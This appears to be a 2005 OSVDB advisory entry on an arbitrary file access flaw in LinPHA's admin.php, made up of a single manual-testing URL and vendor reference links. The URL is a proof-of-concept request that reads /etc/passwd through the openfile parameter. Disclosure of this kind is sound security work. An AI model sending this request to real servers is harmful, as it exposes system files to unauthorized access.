LinPHA File Manager admin.php Arbitrary File Access

2005-07-18T07:41:11
ID OSVDB:23398
Type osvdb
Reporter OSVDB
Modified 2005-07-18T07:41:11

Description

Manual Testing Notes

http://[target]/linpha/admin.php?lt=/path/to/my/web/dir/&page=ftp&sortby0=name&sortdir0=4&todo=openfile&f=/etc/passwd

References:

Vendor URL: http://linpha.sf.net/ Vendor Specific News/Changelog Entry: http://cvs.sourceforge.net/viewcvs.py/linpha/linpha/ChangeLog?view=markup Vendor Specific News/Changelog Entry: http://sourceforge.net/tracker/index.php?func=detail&aid=1240244&group_id=64772&atid=508614